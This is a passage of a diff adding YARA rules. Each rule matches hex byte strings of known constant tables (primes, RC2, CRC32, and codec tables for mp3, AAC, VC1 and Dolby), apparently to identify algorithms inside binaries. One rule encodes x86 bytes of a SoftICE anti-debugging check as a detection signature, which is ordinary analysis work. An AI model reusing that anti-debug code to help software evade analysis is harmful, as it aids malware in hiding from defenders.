+	$a0 = { 000300050007000b000d001100130017001d001f00250029002b002f0035003b003d004300470049004f00530059006100650067006b006d0071007f00830089008b00950097009d00a300a700ad00b300b500bf00c100c500c700d300df00e300e500e900ef00f100fb01010107010d010f01150119011b0125013301370139013d014b0151015b015d01610167016f0175017b017f0185018d0191019901a301a501af01b101b701bb01c101c901cd01cf01d301df01e701eb01f301f701fd0209020b021d0223022d02330239023b0241024b025102570259025f02650269026b0277028102830287028d0293029502a102a502ab02b302bd02c502cf02d702dd02e302e702ef02f502f9030103050313031d0329032b03350337033b033d034703550359035b035f036d037103730377038b038f039703a103a903ad03b303b903c703cb03d103d703df03e503f103f503fb03fd04070409040f0419041b04250427042d043f044304450449044f0455045d04630469047f0481048b0493049d04a304a904b104bd04c104c704cd04cf04d504e104eb04fd04ff05030509050b051105150517051b05270529052f05510557055d056505770581058f059305950599059f05a705ab05ad05b305bf05c905cb05cf05d105d505db05e705f305fb0607060d06110617061f0623062b062f063d064106470649064d06530655065b06650679067f06830685069d06a106a306ad06b906bb06c506cd06d306d906df06f106f706fb06fd07090713071f072707370745074b074f0751075507570761076d07730779078b078d079d079f07b507bb07c307c907cd07cf07d307db07e107eb07ed07f70805080f081508210823082708290833083f0841085108530859085d085f086908710883089b089f08a508ad08bd08bf08c308cb08db08dd08e108e908ef08f508f909050907091d09230925092b092f093509430949094d094f09550959095f096b0971097709850989098f099b09a309a909ad09c709d909e309eb09ef09f509f709fd0a130a1f0a210a310a390a3d0a490a570a610a630a670a6f0a750a7b0a7f0a810a850a8b0a930a970a990a9f0aa90aab0ab50abd0ac10acf0ad90ae50ae70aed0af10af30b030b110b150b1b0b230b290b2d0b3f0b470b510b570b5d0b650b6f0b7b0b890b8d0b930b990b9b0bb70bb90bc30bcb0bcf0bdd0be10be90bf50bfb0c070c0b0c110c250c2f0c310c410c5b0c5f0c610c6d0c730c770c830c890c910c950c9d0cb30cb50cb90cbb0cc70ce30ce50ceb0cf10cf70cfb0d010d030d0f0d130d1f0d210d2b0d2d0d3d0d3f0d4f0d550d690d790d810d850d870d8b0d8d0da30dab0db70dbd0dc70dc90dcd0dd30dd50ddb0de50de70df30dfd0dff0e090e170e1d0e210e270e2f0e350e3b0e4b0e570e590e5d0e6b0e710e750e7d0e870e8f0e950e9b0eb10eb70eb90ec30ed10ed50edb0eed0eef0ef90f070f0b0f0d0f170f250f290f310f430f470f4d0f4f0f530f590f5b0f670f6b0f7f0f950fa10fa30fa70fad0fb30fb50fbb0fd10fd30fd90fe90fef0ffb0ffd1003100f101f10211025102b1039103d103f1051106910731079107b1085108710911093109d10a310a510af10b110bb10c110c910e710f110f310fd1105110b11151127112d1139114511471159115f11631169116f11811183118d119b11a111a511a711ab11c311c511d111d711e711ef11f511fb120d121d121f12231229122b12311237124112471253125f127112731279127d128f129712af12b312b512b912bf12c112cd12d112df12fd1307130d13191327132d1337134313451349134f1357135d13671369136d137b13811387 }
+
+condition:
+	$a0
+}
+
+	
+rule G_721__witab__16_lil_32_
+{
+strings:
+	$a0 = { F4FF1200290040007000C6006301620462046301C6007000400029001200F4FF }
+
+condition:
+	$a0
+}
+
+	
+rule RC2_tab_ebits_to_num__8_byt_256_
+{
+strings:
+	$a0 = { bd56eaf2a2f1ac2ab093d19c1b33fdd03004b6dc7ddf324bf7cb459b31bb215a419fe1d94a4d9edaa0682cc3275f80363eeefb951afecea834a913f0a63fd80c7824af2352c16717f56690e7e807b86048e61e53f392a4728c08156e860084faf47f8a4219f6dbcd148d5012ba3c064eecb33511a1888e2b9499b77174d3e4bf3ade960ebc0aed77fc376b03798962c6d7c0d27c6a8b22a35b055d0275d561e3188f5551ad1f0b5e85e5c25763ca3d6cb4c5cc70b291590d4720c84f58e001e21638c46f3b0f6546be7e2d7b82f940b51d73f8eb26c787972554b128aa989da5646d7ad4108144ef49d6ae2edd765c2fa71cc909699a83cf2939b9e94cff43ab }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab11__16_big_254_
+{
+strings:
+	$a0 = { FF87FF8FFFA7FFC5FFD5FFE5FFEFFFF9FFFDFFFF00770067FFFF00760075FFFDFFFF00660047FFFF0074FFFF00570055FFFBFFFDFFFF005600650037FFFF00730046FFF7FFF9FFFDFFFF00450054FFFF003500530027FFFF0072FFFF00640007FFFBFFFF0071FFFF00170070FFFDFFFF00360063FFFF0060FFFF00440025FFF3FFF9FFFBFFFDFFFF0052000500150062FFFDFFFF002600060016FFFBFFFF0061FFFF00510034FFFBFFFF0050FFFF00430033FFFF00240042FFF1FFF5FFF9FFFDFFFF00140041FFFF00040040FFFF00230032FFFF00130031FFFBFFFDFFFF0003003000220021FFFBFFFF0012FFFF000200200011FFFDFFFF000100100000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_Video_XL_delta_table_xl_table__16_lil_64_
+{
+strings:
+	$a0 = { 00000100020003000400050006000700080009000c000f001400190022002e00400052005e0067006c00710074007700780079007a007b007c007d007e007f00 }
+
+condition:
+	$a0
+}
+
+	
+rule Zdaemon_huffman_HuffFreq_table__0_46947443___flt64___64_lil_2048_
+{
+strings:
+	$a0 = { a020ca7ade0bde3f421f13c6a22ba33fada83dfc6793943f4cddd77902fe7c3f16ff6fd33cd37d3ffbfbd698219f953fe30ec447fe3f723f6d9b98e436d0623f9bb635d88aec893fd17f28fb5bc0633f551c20fbcd82683f2673ead2d8c1653fd3f245734b48673f5d546a7a79cf6b3ff8d8440304b5603f146c2b0f357e5f3f5399ffe3c6258d3fbca672a0a8e85f3f24289f9aa28e643f7d8f3c08e85b623f18ea34fbd1aa653f7ffaae8c365c5e3f09f1924957fa5a3f37ce5c96653e563febfe3549c18d633f42bd8d8b7282593f763a4ed902a5553fc4bfdf9a014f563fe91cd17796a45b3f021cce3e87e0553fa542869f49ac563fb9c4f431ddf3553f0a174dc2e0f5643fc7981ec14b785b3f28dd8e57bd4f573f06470bc845525e3f8e1ad9b6a47a5d3f14334e8570b3553f069c299ddd94513f81a5040eb276753f9b4628f02d30643fca20d2ca187a4f3f0fbdde601c1a7e3f4a0027a986dc503fc5eed0eac3fe5b3feaaf364a871c553f7d2b2bb074fc4f3f7f6d79bcfba9523f740e1ad1a8865e3f7692c6cb4710863f97c5c4e6e3da503f75519907550f6d3f28d9452cbd91543fce69799232b1523ff807a1eec9e4503f4cf5e83676c3553f69d5f89683ea603fa845d0da65a6513f6327bc04a73e503f9f49eef2a59e723ffc4c41a7b5a3573ff94a834f31d6503f03c42ccd103b513f437bcc729f3d533f107a159d5534603f1b94595228ea503f82071fadde9f6a3f62f8256e57e0523f3a6204bfd385543fb6ff3b81348c503fd6e253008c67503f3d5511b04e7c523f8d1a7efd3129553ff7960f941d13503fe19d1950b1624f3faa9212cce20f503f6d3270615940533f857b65deaaeb503feb2d2f0acc54523f5bdeea739407523f6dd2e1df6fcd803ff657976c9f024e3f0a920c736128503f4c74aff6246e4d3ff86218454927563f38a5381e9eeb4c3f9c892b5f7e444f3fc843dfddca124d3fe4ce54a1e482613f8f15c28b3a4a503fd097623701c0503f113f39e9011c503f3f5c6a6be105533f279d0e854b9e4d3f24fa4a5ad0ff4b3f7a44d832111d4f3f9ac8f5845fc9593fd1d8eab46612523fb3edf651f45d4d3f0eb42bc287f14e3fdb1bd71aa5a6803f8a8cf5aa21b3833fc08c31c92b84733f13c6600f37f14f3f53bdeb223b25563f4e37795fcfb64e3f0e61806d92594c3fb3c8c04bba774e3f618500851f41763fb41f0814da07533f438786e6b654503f3ab187f6b1825f3f282567d5a54e593fbd58f713be8c4c3f623d62b2c070513f83ace101e98b523ff9f50150de2a6c3f00d75fc0dc38733f5c35745886dd4c3fce60009f27b7503f88c30c6c1999553ff2a6f0da84ff4d3f3b525cd92e024d3fd516c716bcc74d3f54c25596cf8f523f03d3a38890e34c3f46bcafa977e14c3f7b4e17b53d72523fdad3271ceee16a3f0d3974824fd64c3fdfa259fa4ccd503f94f8bbfb0c3d4c3f69584a9e0499513f94fd900aa527533f3f055d4e4ba44b3f088f579c41ae4a3f3be445aa187c543f113534125ff5493f188f7b8880224a3f3cb49786444e4d3f1370bec74f99513f96016f9aa1654b3fa0719f2476d0493fd94cb6689eaf4b3f9b83f3eb7f67583fd5fd4a8499f84b3f3114c9ba2ce4493f1647695f0ef54a3fbd7c5f1a8e00513f304d4b8b7e5d4b3fab38fed9c9bf4a3fa6c6b6d28cc14a3ff3e7574a012f543f8176871403244a3fe912ab920a5b4a3fe3fa988bcfcf4a3f8fb57526231d543f21530459cb744a3f435d7bd1e4834a3faf850fdbccd74b3f178943158245633fb5649f11b6e9493fde6aa52965c6493f19d1b0f766c44a3f8a6e41dfab90513f3f6e22a76dcb493f2d67a5ff9bcd493f9426314ac8ee4f3f5a22401bf319543f364b340e16ca493f333fab8a78044a3fb6eb10c5051c493f4cfc72e2829e533f37d2a5c165fc483f99751085e0024a3fb784745f6b424c3f99c6063d61aa553f3a1ce1dd5f77493f1edeb57c0b884c3f8a368d0ec4894a3f7622b9e3ea53503f0ce822115cdd483f28d281d52688493f4f0ab10295544a3f93fe3dfc2577523f868a1645b4c2493fc977a53c25ad493ff33e4ccaf684493fd946b8a02901523fd018de93245b4f3f6c209f882c6f4a3f570e464f3efb493fcb771993380a643f96698701433d4a3f615aedc459cf483f57cb63eed6094a3f58699c97d41a543f0d2b0572c3ce483f260fb86c7c3f483f4ea875557f084a3fd0717f3f468a523fd83bcc2c7c5c4f3f6e6de179a9d8483fea7ff3c1b66e483f5fd32058974b513f84a7469edacf483fdf4e22c2bf084a3f98b38872b3896d3f3f3c2a82282d563ffd265eaffa6d493f666dcf038a1e493f145f69f029c64a3f640e9b2bf7c0563ff1559f6991064a3fa0aa21f5c7494b3f3321ff2f4bf9483f68ff87e4f946533f65255ab05c88783f57286fd3e1194b3f1992516d89bf4a3faebd89002bb0553fe24082c1b9af483fa70f76ed7f3e493fd2e74062fd97523fddd330d7fdbe5a3f84b085e65b9b4d3f27448676ca7a4c3fcd1232ca12214e3f16508799a69d543fc66b1cb987e7493fad648d9b962f4a3fd951e630a9eb4a3f464219b2d372543f49362e4e420a4a3fa92d969ec0a6543fba70f7a4d95d4c3f4b60cec7105b553f232503612320513f4cf3f9ee77a4513f59e00aac0c78533f23d1917d0c2d5d3f2b6133e113c2553f6a0f20e80d9c583f6c74317a2c85593f7d85794d177b623f7d60e01c222c623f8febb67668795a3f502ce0334c4c5b3f178f20cf0dd1613f88049d5ac702603fc9c838caeaeb633f1d0887e6532a653fa8a3a9bfda286d3fabb184b53176723f5d04df97a731793f4abc553acc559b3f }
+
+condition:
+	$a0
+}
+
+	
+rule AAC_pred_max_bands_tbl__avcodec___32_big_64_
+{
+strings:
+	$a0 = { 00000021000000210000002600000028000000280000002800000029000000290000002500000025000000250000002200000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x4db26158__32_big_refl_True_
+{
+strings:
+	$a0 = { 000000000510642c0a20c8580f30ac74144190b01151f49c1e6158e81b713cc41d8fba05189fde2917af725d12bf167109ce2ab50cde4e9903eee2ed06fe86c10e13ef6f0b038b43043327370123431b1a527fdf1f421bf31072b7871562d3ab139c556a168c314619bc9d321cacf91e07ddc5da02cda1f60dfd0d8208ed69ae1c27dede1937baf216071686131772aa08664e6e0d762a42024686360756e21a01a864db04b800f70b88ac830e98c8af15e9f46b10f990471fc93c331ad9581f123431b11724559d1814f9e91d049dc50675a1010365c52d0c55695909450d750fbb8bb40aabef98059b43ec008b27c01bfa1b041eea7f2811dad35c14cab7700d4326d9085342f50763ee8102738aad1902b6691c12d24513227e3116321a1d10cc9cdc15dcf8f01aec54841ffc30a8048d0c6c019d68400eadc4340bbda0180350c9b60640ad9a097001ee0c6065c21711590612013d2a1d31915e1821f5721edf73b31bcf179f14ffbbeb11efdfc70a9ee3030f8e872f00be2b5b05ae4f771164f80714749c2b1b44305f1e545473052568b700350c9b0f05a0ef0a15c4c30ceb420209fb262e06cb8a5a03dbee7618aad2b21dbab69e128a1aea179a7ec61f7717681a6773441557df301047bb1c0b3687d80e26e3f401164f8004062bac02f8ad6d07e8c94108d865350dc8011916b93ddd13a959f11c99f585198991a91a864db21f96299e10a685ea15b6e1c60ec7dd020bd7b92e04e7155a01f771760709f7b70219939b0d293fef08395bc3134867071658032b1968af5f1c78cb731495a2dd1185c6f11eb56a851ba50ea900d4326d05c456410af4fa350fe49e19091a18d80c0a7cf4033ad080062ab4ac1d5b8868184bec44177b4030126b241c06a1936c03b1f7400c815b3409913f1812e003dc17f067f018c0cb841dd0afa81b2e29691e3e4d45110ee131141e851d0f6fb9d90a7fddf5054f7181005f15ad08b27c030da2182f0292b45b0782d0771cf3ecb319e3889f16d324eb13c340c7153dc606102da22a1f1d0e5e1a0d6a72017c56b6046c329a0b5c9eee0e4cfac217c56b6b12d50f471de5a33318f5c71f0384fbdb06949ff709a433830cb457af0a4ad16e0f5ab542006a1936057a7d1a1e0b41de1b1b25f2142b8986113bedaa19d684041cc6e02813f64c5c16e628700d9714b40887709807b7dcec02a7b8c004593e0101495a2d0e79f6590b6992751018aeb11508ca9d1a3866e91f2802c50be2b5b50ef2d19901c27ded04d219c11fa325051ab341291583ed5d10938971166d0fb0137d6b9c1c4dc7e8195da3c4022c9f00073cfb2c080c57580d1c337405f15ada00e13ef60fd192820ac1f6ae11b0ca6a14a0ae461b9002321e80661e187ee0df1d6e84f3125e2887174e4cab0c3f706f092f1443061fb837030fdc1b }
+
+condition:
+	$a0
+}
+
+	
+rule anti_debug__Detect_SoftICE_VxD_or_SoftICE_GFX_VxD__8_byt_25_
+{
+strings:
+	$a0 = { 6631ff8ec766b8841666bb0202cd2f668cc06601c76683ff00 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_Beam_software_vb_patterns__16_lil_128_
+{
+strings:
+	$a0 = { 600600ffcccc00f088880f001111c8feef8c7f1331f700c88c001300003100cccc0033000033f00f6666f000000f2222444400f6c88c6f0031138c3113c8cc330066c00c6600300300f98cc89f001331006080080600100188cc00fccf00cc883f003311113300f3f66f0306c608638c31c6106360c036016c13c836806c4c32 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC32_poly_0x86d3d2d4__32_big_refl_False_
+{
+strings:
+	$a0 = { 0000000086d3d2d48b74777c0da7a5a8903b3c2c16e8eef81b4f4b509d9c9984a6a5aa8c207678582dd1ddf0ab020f24369e96a0b04d4474bdeae1dc3b393308cb9887cc4d4b551840ecf0b0c63f22645ba3bbe0dd706934d0d7cc9c56041e486d3d2d40ebeeff94e6495a3c609a88e8fd06116c7bd5c3b876726610f0a1b4c411e2dd4c97310f989a96aa301c4578e481d9e160070a33b40aad961c8c7e44c8b74777c03194a5143c3300bcbae0d268277c4beca1af9938ac083c902adbee44da7a5a805ca98854510e2dfcd7ddff284a4166accc92b478c13511d047e6c3047cdff00cfa0c22d8f7ab8770717855a4ece4cc206a371ef46790bb5ce143698823c5ba98a516684ca8b1cde42e621f30b3fe86b4352d5460388af1c8be59231c8560101403b3c2c00e14676888c7b5bc155b2c389388feec9e2f5b4418fc8990e85d3d546e8eef8063294a28e5fa98fc78660178feb5d3acf312760475c1a4d04ef897d8c82b450cc58ce0a4435f3270dec3abf45810792055b7dc88d3640e5c322767d4b4f4b500b95310a83f80c27ca21c5bf824cf892c29682c84afbbfe509482cd5812511f8c1ff6ba24992568f004b9f174826a23a08fcd8608091e54dcf9bfe0187f6c32cc72cb9764f41845b06984dc34ef570ee0e2f0ab486423799c5f1a4a94d9c99840d46e3de852bdef3ccf2176b849f2a46c445501c4c286d310478b7530c158a7e4ccff024c4a2cd098d7b0491c51639bc85cc43e60da17ecb4e12edfbc67fd0d686a5aa8c0ec897a147115e390f7c63144fa6194ec7cb246388c13f2fc0ac020280767858081b457541c28ced09afb1c04975cb9ac118f6b782ab65870ac658aa4a1c22f0c2711fdd8ba8d645c3c5eb68831f91320b72ac1f45669a87cd0ba7aa8dd1ddf005bce0dd4c6529450408146844d26e32ccbf531f8f0cc02f0761fd0247bb8758cfd6ba75860f73edce624ec08eb8349a06d509b749df12fb01b22fd64168558cc90568a180dca139c8b19c14886be64e0006db6343b54853cbd8757e8b020f24036f32094ab6fb9102dbc6bc4201bce6ca6c81cb8644ecfa8e29d1d7cef3ab8d469e96a00f475f38472a621507f0184f8f9d2562cc2eb65244438b7f0499f1258cf4cc08c52d05908d4038bdcd9a42e745f77fca0afd6486429059ab024a23f18a271edcc3fed7448b93ea69cb4990334324ad1e00973e2e88fa0303c8207959404d447409948dec41f9b0c10123ca9b894ef7b6c75ac12e4f37fc030fed86598780bb74ce5972ec86344fc1c6ee359b4e8308b60d309b86855da6abc587dcf14deae1dc043328444c5e15690c846f3384e9521ecbe34952838e747fc3540e254b39330802e0fa904a8dc7bd0a57bde7823a80cac18913fa49e42ed7093e548d815369a0c88aa03880e79d15c03de74f4850da620 }
+
+condition:
+	$a0
+}
+
+	
+rule Dolby_window_dol_long__flt32___32_lil_4096_
+{
+strings:
+	$a0 = { f2629939b36fe13926530f3a6ea82b3aa0e3463a7199613aa81f7c3a68568b3a09b3983a1033a63a7ce0b33a10c3c13a00e1cf3a643fde3a83e2ec3a05cefb3a8f82053b50450d3b8d30153b6f451d3b0685253b53f02d3b4388363bba4d3f3b9041483b9264513b88b75a3b333b643b50f06d3b94d7773bd9f8803bae1f863b9e608b3bffbb903b2432963b62c39b3b0970a13b6c38a73bdc1cad3ba81db33b213bb93b9775bf3b57cdc53bb142cc3bf4d5d23b6c87d93b6957e03b3846e73b2754ee3b8281f53b97cefc3bda1d023c92e4053c9abb093c19a30d3c359b113c14a4153cdcbd193cb4e81d3cc124223c2a72263c15d12a3ca7412f3c06c4333c5958383cc5fe3c3c71b7413c8082463c1b604b3c6550503c8553553ca1695a3cdd925f3c5fcf643c4d1f6a3ccc826f3c01fa743c11857a3c1112803caceb823c6dcf853c66bd883ca8b58b3c48b88e3c56c5913ce6dc943c09ff973cd32b9b3c54639e3c9fa5a13cc7f2a43cdd4aa83cf3adab3c1b1caf3c6895b23cea19b63cb5a9b93cd844bd3c67ebc03c739dc43c0c5bc83c4624cc3c30f9cf3cddd9d33c5dc6d73cc3bedb3c1ec3df3c81d3e33cfbefe73c9e18ec3c7b4df03ca38ef43c25dcf83c1436fd3c3fce003dba07033d8447053da58d073d24da093d092d0c3d5e860e3d28e6103d714c133d40b9153d9d2c183d90a61a3d20271d3d55ae1f3d373c223dcdd0243d1e6c273d310e2a3d0fb72c3dbf662f3d471d323dafda343dfd9e373d3a6a3a3d6c3c3d3d9915403dc9f5423d03dd453d4dcb483dadc04b3d2bbd4e3dcdc0513d99cb543d96dd573dc9f65a3d3a175e3def3e613ded6d643d3ba4673ddee16a3ddc266e3d3c73713d02c7743d3522783dda847b3df7ee7e3d4830813dd6ec823d28ad843d4071863d2139883dcd048a3d47d48b3d92a78d3daf7e8f3da159913d6a38933d0d1b953d8c01973de8eb983d25da9a3d43cc9c3d46c29e3d2fbca03dffb9a23dbabba43d61c1a63df4caa83d78d8aa3dece9ac3d53ffae3dae18b13dff35b33d4757b53d887cb73dc3a5b93dfad2bb3d2d04be3d5f39c03d9072c23dc2afc43df5f0c63d2b36c93d647fcb3da3cccd3de71dd03d3173d23d82ccd43ddc29d73d3e8bd93da9f0db3d1f5ade3d9fc7e03d2a39e33dc0aee53d6228e83d10a6ea3dcb27ed3d92adef3d6637f23d46c5f43d3457f73d2fedf93d3687fc3d4a25ff3db6e3003ecc36023ee98b033e0be3043e343c063e6197073e94f4083ecc530a3e08b50b3e49180d3e8d7d0e3ed5e40f3e204e113e6eb9123ebe26143e1096153e6207173eb57a183e09f0193e5b671b3eace01c3efb5b1e3e47d91f3e9058213ed5d9223e145d243e4ee2253e8169273eacf2283ece7d2a3ee80a2c3ef6992d3ef92a2f3ef0bd303ed952323eb3e9333e7e82353e371d373edfb9383e73583a3ef2f83b3e5b9b3d3eae3f3f3ee8e5403e078e423e0c38443ef4e3453ebe91473e6841493ef1f24a3e58a64c3e9a5b4e3eb612503eabcb513e7786533e1843553e8d01573ed3c1583eea835a3ece475c3e7f0d5e3efbd45f3e3f9e613e4a69633e1a36653ead04673e00d5683e12a76a3ee17a6c3e6b506e3ead27703ea600723e53db733eb2b7753ec195773e7d75793ee5567b3ef6397d3ead1e7f3e8582803e8376813e526b823eef60833e5a57843e914e853e9246863e5d3f873ef038883e4a33893e6a2e8a3e4e2a8b3ef5268c3e5e248d3e87228e3e6f218f3e1421903e7621913e9222923e6824933ef526943e392a953e312e963edd32973e3b38983e4a3e993e07459a3e724c9b3e89549c3e4a5d9d3eb4669e3ec5709f3e7c7ba03ed686a13ed492a23e729fa33eafaca43e8abaa53e01c9a63e12d8a73ebbe7a83efcf7a93ed208ab3e3b1aac3e372cad3ec23eae3edc51af3e8365b03eb479b13e6f8eb23eb1a3b33e78b9b43ec4cfb53e91e6b63edffdb73eab15b93ef42dba3eb746bb3ef45fbc3ea879bd3ed093be3e6daebf3e7ac9c03ef8e4c13ee300c33e3a1dc43efb39c53e2457c63eb374c73ea692c83efbb0c93eb1cfca3ec5eecb3e360ecd3e012ece3e254ecf3e9f6ed03e6d8fd13e8fb0d23e00d2d33ec1f3d43ece15d63e2538d73ec55ad83eac7dd93ed7a0da3e44c4db3ef2e7dc3edf0bde3e0830df3e6b54e03e0679e13ed89de23eddc2e33e15e8e43e7d0de63e1333e73ed458e83ebf7ee93ed3a4ea3e0bcbeb3e67f1ec3ee517ee3e823eef3e3c65f03e128cf13e00b3f23e05daf33e2001f53e4c28f63e8a4ff73ed676f83e2e9ef93e91c5fa3efcecfb3e6d14fd3ee23bfe3e5963ff3e6745003f21d9003fd96c013f8e00023f3e94023fe827033f8cbb033f294f043fbde2043f4776053fc609063f3a9d063fa130073ffac3073f4457083f7eea083fa67d093fbd100a3fc1a30a3fb0360b3f8ac90b3f4e5c0c3ffbee0c3f8f810d3f09140e3f69a60e3fae380f3fd6ca0f3fe15c103fccee103f9980113f4412123fcea3123f3535133f78c6133f9657143f8fe8143f6179153f0b0a163f8c9a163fe32a173f0fbb173f104b183fe3da183f896a193f00fa193f47891a3f5d181b3f41a71b3ff3351c3f70c41c3fb9521d3fcce01d3fa96e1e3f4efc1e3fba891f3fed16203fe5a3203fa130213f21bd213f6449223f69d5223f2e61233fb3ec233ff777243ff902253fb88d253f3318263f6aa2263f5a2c273f05b6273f673f283f82c8283f5351293fdad9293f17622a3f07ea2a3fab712b3f01f92b3f09802c3fc1062d3f2a8d2d3f41132e3f07992e3f7a1e2f3f9aa32f3f6528303fdcac303ffd30313fc7b4313f3a38323f54bb323f163e333f7dc0333f8b42343f3dc4343f9345353f8cc6353f2747363f65c7363f4347373fc2c6373fe045383f9dc4383ff942393ff1c0393f873e3a3fb8bb3a3f85383b3fedb43b3fef303c3f8aac3c3fbe273d3f8aa23d3fed1c3e3fe8963e3f78103f3f9e893f3f5a02403fa97a403f8df2403f036a413f0ce1413fa857423fd4cd423f9243433fe0b8433fbe2d443f2ba2443f2716453fb289453fcafc453f6f6f463fa1e1463f5f53473fa9c4473f7f35483fdfa5483fc915493f3d85493f3bf4493fc2624a3fd2d04a3f693e4b3f88ab4b3f2f184c3f5d844c3f11f04c3f4b5b4d3f0bc64d3f51304e3f1c9a4e3f6b034f3f3f6c4f3f97d44f3f723c503fd1a3503fb30a513f1871513fffd6513f683c523f53a1523fc005533faf69533f1ecd533f0e30543f7f92543f71f4543fe255553fd4b6553f4517563f3677563fa6d6563f9535573f0394573ff0f1573f5c4f583f46ac583faf08593f9664593ffbbf593fde1a5a3f3e755a3f1dcf5a3f79285b3f53815b3faad95b3f7f315c3fd1885c3fa0df5c3fed355d3fb78b5d3ffee05d3fc2355e3f038a5e3fc1dd5e3ffd305f3fb5835f3febd55f3f9e27603fce78603f7bc9603fa619613f4e69613f73b8613f1507623f3555623fd3a2623feeef623f873c633f9e88633f33d4633f461f643fd769643fe6b3643f74fd643f8146653f0c8f653f16d7653fa01e663fa865663f30ac663f38f2663fbf37673fc77c673f4ec1673f5605683fdf48683fe98b683f74ce683f8010693f0e52693f1d93693fafd3693fc3136a3f5a536a3f74926a3f11d16a3f310f6b3fd54c6b3ffe896b3fabc66b3fdc026c3f933e6c3fcf796c3f90b46c3fd8ee6c3fa6286d3ffb616d3fd79a6d3f3bd36d3f260b6e3f9a426e3f96796e3f1bb06e3f29e66e3fc21b6f3fe4506f3f91856f3fc9b96f3f8ced6f3fdb20703fb653703f1e86703f13b8703f96e9703fa61a713f454b713f737b713f30ab713f7cda713f5909723fc737723fc665723f5793723f79c0723f2fed723f7719733f5345733fc370733fc89b733f62c6733f91f0733f571a743fb343743fa66c743f3195743f55bd743f11e5743f660c753f5533753fde59753f0380753fc2a5753f1ecb753f16f0753fab14763fde38763faf5c763f1f80763f2ea3763fddc5763f2ce8763f1c0a773fae2b773fe24c773fb96d773f338e773f51ae773f13ce773f7aed773f870c783f3a2b783f9449783f9567783f3e85783f90a2783f8bbf783f2fdc783f7ef8783f7814793f1d30793f6f4b793f6d66793f1881793f729b793f7ab5793f31cf793f97e8793fae017a3f761a7a3fef327a3f1b4b7a3ff9627a3f8a7a7a3fd0917a3fcaa87a3f79bf7a3fded57a3ff9eb7a3fcb017b3f54177b3f962c7b3f90417b3f44567b3fb26a7b3fda7e7b3fbe927b3f5da67b3fb8b97b3fd0cc7b3fa6df7b3f3af27b3f8d047c3f9f167c3f71287c3f033a7c3f574b7c3f6c5c7c3f436d7c3fdd7d7c3f3b8e7c3f5c9e7c3f43ae7c3feebd7c3f5fcd7c3f96dc7c3f95eb7c3f5afa7c3fe8087d3f3e177d3f5e257d3f47337d3ffa407d3f794e7d3fc35b7d3fd8687d3fbb757d3f6a827d3fe78e7d3f329b7d3f4ca77d3f35b37d3feebe7d3f77ca7d3fd1d57d3ffce07d3ffaeb7d3fc9f67d3f6c017e3fe30b7e3f2d167e3f4c207e3f402a7e3f09347e3fa93d7e3f1f477e3f6c507e3f91597e3f8e627e3f636b7e3f12747e3f9a7c7e3ffc847e3f398d7e3f50957e3f449d7e3f13a57e3fbeac7e3f46b47e3facbb7e3fefc27e3f11ca7e3f12d17e3ff1d77e3fb0de7e3f50e57e3fcfeb7e3f30f27e3f72f87e3f96fe7e3f9b047f3f840a7f3f50107f3fff157f3f921b7f3f09217f3f65267f3fa62b7f3fcc307f3fd9357f3fcb3a7f3fa53f7f3f65447f3f0d497f3f9c4d7f3f14527f3f74567f3fbd5a7f3ff05e7f3f0c637f3f12677f3f026b7f3fdd6e7f3fa3727f3f55767f3ff2797f3f7b7d7f3ff1807f3f53847f3fa3877f3fdf8a7f3f0a8e7f3f22917f3f28947f3f1e977f3f029a7f3fd59c7f3f989f7f3f4aa27f3feda47f3f80a77f3f03aa7f3f78ac7f3fdeae7f3f35b17f3f7eb37f3fb9b57f3fe6b77f3f05ba7f3f18bc7f3f1dbe7f3f16c07f3f02c27f3fe2c37f3fb6c57f3f7ec77f3f3bc97f3fecca7f3f93cc7f3f2ece7f3fbfcf7f3f45d17f3fc1d27f3f34d47f3f9cd57f3ffbd67f3f50d87f3f9cd97f3fe0da7f3f1adc7f3f4cdd7f3f75de7f3f97df7f3fb0e07f3fc1e17f3fcae27f3fcce37f3fc7e47f3fbae57f3fa7e67f3f8ce77f3f6be87f3f43e97f3f15ea7f3fe1ea7f3fa6eb7f3f65ec7f3f1fed7f3fd3ed7f3f82ee7f3f2bef7f3fceef7f3f6df07f3f07f17f3f9bf17f3f2bf27f3fb7f27f3f3df37f3fc0f37f3f3ef47f3fb8f47f3f2ef57f3fa0f57f3f0ef67f3f78f67f3fdff67f3f42f77f3fa1f77f3ffef77f3f57f87f3facf87f3ffff87f3f4ff97f3f9cf97f3fe6f97f3f2dfa7f3f72fa7f3fb4fa7f3ff3fa7f3f31fb7f3f6bfb7f3fa4fb7f3fdafb7f3f0efc7f3f40fc7f3f70fc7f3f9efc7f3fcafc7f3ff5fc7f3f1dfd7f3f44fd7f3f69fd7f3f8dfd7f3faffd7f3fd0fd7f3feffd7f3f0dfe7f3f29fe7f3f44fe7f3f5efe7f3f77fe7f3f8efe7f3fa5fe7f3fbafe7f3fcefe7f3fe2fe7f3ff4fe7f3f05ff7f3f16ff7f3f26ff7f3f34ff7f3f42ff7f3f50ff7f3f5cff7f3f68ff7f3f73ff7f3f7eff7f3f88ff7f3f91ff7f3f9aff7f3fa3ff7f3faaff7f3fb2ff7f3fb9ff7f3fbfff7f3fc5ff7f3fcaff7f3fd0ff7f3fd5ff7f3fd9ff7f3fddff7f3fe1ff7f3fe5ff7f3fe8ff7f3febff7f3feeff7f3ff0ff7f3ff3ff7f3ff5ff7f3ff7ff7f3ff8ff7f3ffaff7f3ffbff7f3ffcff7f3ffdff7f3ffeff7f3fffff7f3f }
+
+condition:
+	$a0
+}
+
+	
+rule VC1_1____PQuant____7__8_byt_36_
+{
+strings:
+	$a0 = { 000b0501030102030203030304030405030506030607030700050801050902050a03050b }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_cplscale5__flt32___32_lil_124_
+{
+strings:
+	$a0 = { 08f57e3ff4cd7c3fd18d7a3f8731783f4fb5753f7b14733f2749703fb04b6d3ff0116a3fe98d663f57ab623fff4a5e3f0238593faf0a533f98b54a3ff304353f45591c3f9ee7103f3578073f91f1fd3e74f7ed3e8589de3e6056cf3eb91cc03e059fb03ea999a03eebb68f3e49f37a3ef617523e014a213e0eabb83d }
+
+condition:
+	$a0
+}
+
+	
+rule ASCII_to_BIN_table__8_byt_128_
+{
+strings:
